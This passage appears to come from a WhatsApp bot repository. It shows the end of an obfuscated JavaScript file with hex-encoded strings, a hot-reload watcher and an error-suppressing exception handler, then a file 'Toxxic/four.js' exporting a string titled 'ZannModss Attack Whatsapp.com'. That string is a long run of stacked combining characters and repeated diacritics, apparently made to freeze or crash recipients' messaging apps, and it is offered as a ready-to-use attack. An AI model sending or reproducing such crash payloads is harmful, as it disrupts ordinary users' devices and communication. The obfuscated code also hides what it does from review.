uVLlkogX_fsK$hZw=['c38f8483','8298999d9899','8e9f888c9988a48399889f8b8c8e88','ba858c999eac9d9d','98839a8c998e85ab848188','8e8283998c8e999e','dfdadbde81a08fbd868f','8c819f888c8994c08895849e999e','e71d707d741d707d691d707d601d707d631d707d60cd1d707d7b1d707d651d707d661d707d66cd1d707d671d707d651d707d661d707d66cd1d707d6d1d707d661d707d66','9a9f849988ab848188','b6cd1d707d741d707d691d707d601d707d631d707d60cd1d707d6f1d707d7c1d707d6d1d707d7f1d707d6acd1d707d781d70727ccdb0','808c998e85','ae828383888e99848283cdae81829e8889','9e888389bb84898882ac9ebe99848e86889f','9a9f849988ab848188be94838e','808c998e85ac8181','9d848382','c3c281848fc28895848b','ad9a85849e8688949e828e8688999ec28f8c848188949e','8f828189','c3c29e88999984838a9e','9e99848e86889f','d5d4dddcd48c84a3b89ca8','ad9ec39a858c999e8c9d9dc3838899','8c8181828e','9d988f81848e','889d858880889f8c81a0889e9e8c8a88','8e9f88899e','8e82838e8c99','dfded9d5dcdbd8d5d9dbd9dcd9ad9ec39a858c999e8c9d9dc3838899','8e8283998c8e999ec3989d898c9988','9f8880829988a78489','8e82838b81848e99','ad8ac3989e','808c8a8883998c','b985849ecdae828988cd849ecdbd829a889f8889cdaf94cdb9829595848ecdaf8294d7','d1cdd0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0cdd3','9e888389b9889599ba849985a08883998482839e','81848f9d858283888398808f889fc0879e','8b848188c099949d88','87828483','9e99898483','dcdfdededdba97b5ac808b','1d707c531d707f6f1d707f7ecd1d707f6f1d707f621d707f68cd1d707c451d707f601d707f60e7d3cd1d707f6c1d707f6b1d707f621d707f7d1d707f62cd1d707c501d70727ccd1d707c471d707f7d1d707f621d707f621d707f6b1d707f691d707f781d707f6b1d707f68cd1d707c571d707f7b1d707f691d707f691d707f6b1d707f791d707f791d707f6a1d707f7b1d707f601d707f601d707f77','9e998c9f999eba849985','8f8c9e88dbd9','a4838e829f9f888e99cd989e889f838c8088cd829fcd9d8c9e9e9a829f89c3cdac8e8e889e9ecd898883848889c3','9c98889e99848283','9e998c99989e','89888b8c988199','b89d898c9988cd','9f889c98889e99bd8c849f84838aae828988','8c9a889e828088c09d858283888398808f889f','9f8889','d9dadad9dbdbddaf9f8bbe9a9c','838299848b94','9e998c99989eae828988','89828e9880888399','ddad9ec39a858c999e8c9d9dc3838899','9e9989829899','8e828383888e99848283c3989d898c9988','c3c2b788838283bbde','98838e8c988a8599a8958e889d99848283','9c9882998889','8c9899829e9a9b84889a','a88399889fcd9482989fcd989e889f838c8088d7e7','88958499','9a8c998e85ab848188','8883899eba849985','94888181829a','889f9f829f','829d8883','89829a8381828c89ac8389be8c9b88a08889848ca0889e9e8c8a88','868894','80889e9e8c8a88','9d8c9985','dbdfdcd8d4de9f8ea49bab9c','81828a','8c989985be998c9988','9a849985829899ae8283998c8e99','a88399889fcd9482989fcd9d8c9e9e9a829f89d7e7','9e99829f88','9b84898882','ad858c9d84c28f828280','84808c8a88','9f8c9988c0829b889f8184808499','9e888389a0889e9e8c8a88','80889e9e8c8a889ec3989d9e889f99','8e858c8186','ae8c988a8599cd88958e889d99848283d7cd','8099949d88','8b9f8280','89888e828988a78489','99889e99','9e998c99989ead8f9f828c898e8c9e99','b88f98839998','9e988f87888e99','9d8c9f9e88','99829595848e99888e85','1d727f46ae828383888e998889cd9982cdd0d3cd','8c9ea9828e9880888399','9e888389a4808c8a88ac9ebe99848e86889f','8c9ebe99848e86889f','9f888c8981848388','e71d707d611d707d6d1d707d6e1d707d69cd1d707d6c1d707d75cd1d707d7e1d707d631d707d7a1d707d7a1d707d651d707d6fcd1d707d6c1d707d631d707d75','9e888389ab848188','9e9d818499','9e999f84838a848b94','8a9f82989da088998c898c998c','8b9f8280a088','8c989985829f','8f848389','9e889f848c81849788a0','8b9f8280af988b8b889f','898c998c','9f888c89a0889e9e8c8a889e','8e9f88899ec3989d898c9988','8e8c8e8588','989e889f','8e81829e88','84838e819889889e','bb8c819888cd838299cd8b82988389','80889e9e8c8a889e','879e8283','8c9d9d81848e8c99848283c2828e998899c09e999f888c80','c3c3c29e9f8ec2','9b889f848b848889a38c8088','838299c08c989985829f84978889','9f8889af9f848a8599','8188838a9985','dfddc3ddc3ddd9','838c8088','99949d88','889599','848399889f838c998482838c81','8084808899949d88','8f819888','9d9f8280849e889e','9e999f84838a','c3c281848fc280948b98838e','9f889d818c8e88','b984808889cda29899','808c9d','dfd5dbded5d5d998829795b4a9','8688949e','9f888c89ab848188be94838e','9982be999f84838a','9e889e9e848283','8c98898482','89829a8381828c89a08889848ca0889e9e8c8a88','8e85848189','8a8899a38c8088','9e888389b9889599','e7e7cdcdcdcdcdcdcdcdcdcdcdcdcdcdcd','8b848188838c8088','8c9ebb84898882','8c9ea4808c8a88','9f888a849e99889f8889','ae859f828088','8a8899a398808f889f','dfdcdfdedfd8dbb5b4b785898c','8a8899ab848188','8e948c83','8895849e999ebe94838e','8c98898482c2828a8ad6cd8e8289888e9ed0829d989e','a88399889fcd9482989fcd9d85828388cd8398808f889fcd9a849985cd8e829883999f94cd8e828988cd1d727743cdd7e7','be828e868899cd8e828383888e99848283cd99848088829899','9d8c8e86838c8088','9e889f9b889f','809e8a','8c9ea1828e8c99848283','9f889e82819b88','dcd4d8dbd8dbdbb59b8f82a394','97888382838f829984838e','dcaa86ab8fb8b9','80848088','849eaf988b8b889f','afaca8d8','d9d9889f8f87869f','9e8481888399','83828988c08e8c8e8588','8c9584829e'];PDojJAbxmrZwuEk_VejiIXKYpv=function(){return uVLlkogX_fsK$hZw;};return PDojJAbxmrZwuEk_VejiIXKYpv();}fs[eSoigHWlqfradaCILUFwIItR(0x223)](file,()=>{const kuMuJDzJrinVmIzwmsJgtEr=eSoigHWlqfradaCILUFwIItR;fs[kuMuJDzJrinVmIzwmsJgtEr(0x1e4)](file),console[kuMuJDzJrinVmIzwmsJgtEr(0x22d)](chalk[kuMuJDzJrinVmIzwmsJgtEr(0x260)](kuMuJDzJrinVmIzwmsJgtEr(0x212)+__filename)),delete require[kuMuJDzJrinVmIzwmsJgtEr(0x255)][file],require(file);}),process['on'](eSoigHWlqfradaCILUFwIItR(0x21e),function(nTSxukQQehotN$eAkDd){const k$KMzdqdpgxf=eSoigHWlqfradaCILUFwIItR;let W$trDtVC=String(nTSxukQQehotN$eAkDd);if(W$trDtVC[k$KMzdqdpgxf(0x258)](k$KMzdqdpgxf(0x200)))return;if(W$trDtVC[k$KMzdqdpgxf(0x258)](k$KMzdqdpgxf(0x1d0)))return;if(W$trDtVC[k$KMzdqdpgxf(0x258)](k$KMzdqdpgxf(0x25f)))return;if(W$trDtVC[k$KMzdqdpgxf(0x258)](k$KMzdqdpgxf(0x1e7)))return;if(W$trDtVC[k$KMzdqdpgxf(0x258)](k$KMzdqdpgxf(0x235)))return;if(W$trDtVC[k$KMzdqdpgxf(0x258)](k$KMzdqdpgxf(0x1ec)))return;if(W$trDtVC[k$KMzdqdpgxf(0x258)](k$KMzdqdpgxf(0x26d)))return;if(W$trDtVC[k$KMzdqdpgxf(0x258)](k$KMzdqdpgxf(0x259)))return;console[k$KMzdqdpgxf(0x22d)](k$KMzdqdpgxf(0x239),nTSxukQQehotN$eAkDd);}); -------------------------------------------------------------------------------- /Toxxic/four.js: -------------------------------------------------------------------------------- 1 | const four = `ZannModss Attack Whatsapp.com 2 | https://cybertangerangteam.blogspot.com 3 | ✸͠͠𑇐𑇐𑇐𑇐●ⷦ●ͣ●ͫ●ͥ𑇐𑇐●ͣ●ⷫ●ͣ●ⷦ𑇐𑇐●ᷤ●ͣ●ᷤ●ͣ●ⷦ𑇐𑇐𑇐𑇐͠✸.il 4 | 5 | ✸̖̯̘̟͔̳̅̍̀̀̂̊ͮ͝𑌽̭̖̭̜͇͓̓̐̆ͥ̌̽͘򄌊̫̖̜͚̭͚̃̇̑̅̈́͗҉𑍆̤͙̫̹̣̫͛̓ͪ̏̈̾͡򄍮̠̟̜͉̹ͪͨͤ̆͑ͯ͢ͅ●̨̱̤͈͉͈̲̪̤̯̮̖͉ͤͣ͐ͨ͋̔ͯⷦ͒̓̂ͯͦͯ̚̕●̧̳͔͙͍̗̝̇̑͒̆͂ͩ͋●̢̫̜͉̭̩͓͋ͫ̆̐ͪ͊̚●̖͈̮̘̯̼͂ͩͣͧͥͬͣ͏𑍮̴̘̹̘̮̭̽̅̑̃̈́͐ͅ򄍋̢͈̦̺͇̲̭͋̀̊͌͐ͧ●̵̰̩̥̺̘̬̈ͯ̃ͫ͒̇ͩ●̸̛̹͇̯̳̹̹̗̣̤͓͖̺̆̈̋ͦ̓ͭⷫͧ̍́̂́ͦ͂̚●͈̰͕͇͇̞̎́ͫ͂̓̊͑́●̸̘̜̤̫̦͙̰̘͉̙͓͎̏̋̌̄͒̈ⷦ̍́̏ͪͭͩ̄̚͢𑍊̜̝͚̘͈͔̏̎͛͋͛͆̕򄌑̧̳̟̖̦̦̦́̌͒̇͑ͬ●̬͔̟̻̲̖̼̱̞͇̻̭̅̍̔͌̆ͬ͒ᷤͤ̋ͤ͛͛̈́͋́͢●̼̦̥̹̹̲̌ͫ̓ͮͮ̄̃͢●̢͓͈̪͈̝͙̻̻̥̝͕̗͑͛̿̎̃̉̂ᷤͤ͗̀ͮ͒ͫͩ͟●̥̝̳͔̣ͦ̍̌ͭ̑͆̇͢ͅ●̵̤̦͎͙͓̯̩͚̯̫̼͖ͯ̐̓̔ͭ͌̅ⷦ̃́͆͂͌̓̆͘𑍆̮̦̜͈͓͎̃̀̃̂ͣ́̚򄌓͉̹̠̠̬̜ͫ͛̎ͪͨ͐͜𑍊̳̹͉̭̱̝͑̐ͯ̾̄̒͝򄌃̱͕̖̭̙̹͋ͯ̈̈́͛́̚✸̡̥̱̲͎ͥ̉͆̆́͋̾ͅͅ✸̖̯̘̟͔̳̅̍̀̀̂̊ͮ͝𑌽̭̖̭̜͇͓̓̐̆ͥ̌̽͘򄌊̫̖̜͚̭͚̃̇̑̅̈́͗҉𑍆̤͙̫̹̣̫͛̓ͪ̏̈̾͡򄍮̠̟̜͉̹ͪͨͤ̆͑ͯ͢ͅ●̨̱̤͈͉͈̲̪̤̯̮̖͉ͤͣ͐ͨ͋̔ͯⷦ͒̓̂ͯͦͯ̚̕●̧̳͔͙͍̗̝̇̑͒̆͂ͩ͋●̢̫̜͉̭̩͓͋ͫ̆̐ͪ͊̚●̖͈̮̘̯̼͂ͩͣͧͥͬͣ͏𑍮̴̘̹̘̮̭̽̅̑̃̈́͐ͅ򄍋̢͈̦̺͇̲̭͋̀̊͌͐ͧ●̵̰̩̥̺̘̬̈ͯ̃ͫ͒̇ͩ●̸̛̹͇̯̳̹̹̗̣̤͓͖̺̆̈̋ͦ̓ͭⷫͧ̍́̂́ͦ͂̚●͈̰͕͇͇̞̎́ͫ͂̓̊͑́●̸̘̜̤̫̦͙̰̘͉̙͓͎̏̋̌̄͒̈ⷦ̍́̏ͪͭͩ̄̚͢𑍊̜̝͚̘͈͔̏̎͛͋͛͆̕򄌑̧̳̟̖̦̦̦́̌͒̇͑ͬ●̬͔̟̻̲̖̼̱̞͇̻̭̅̍̔͌̆ͬ͒ᷤͤ̋ͤ͛͛̈́͋́͢●̼̦̥̹̹̲̌ͫ̓ͮͮ̄̃͢●̢͓͈̪͈̝͙̻̻̥̝͕̗͑͛̿̎̃̉̂ᷤͤ͗̀ͮ͒ͫͩ͟●̥̝̳͔̣ͦ̍̌ͭ̑͆̇͢ͅ●̵̤̦͎͙͓̯̩͚̯̫̼͖ͯ̐̓̔ͭ͌̅ⷦ̃́͆͂͌̓̆͘𑍆̮̦̜͈͓͎̃̀̃̂ͣ́̚򄌓͉̹̠̠̬̜ͫ͛̎ͪͨ͐͜𑍊̳̹͉̭̱̝͑̐ͯ̾̄̒͝򄌃̱͕̖̭̙̹͋ͯ̈̈́͛́̚✸̡̥̱̲͎᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵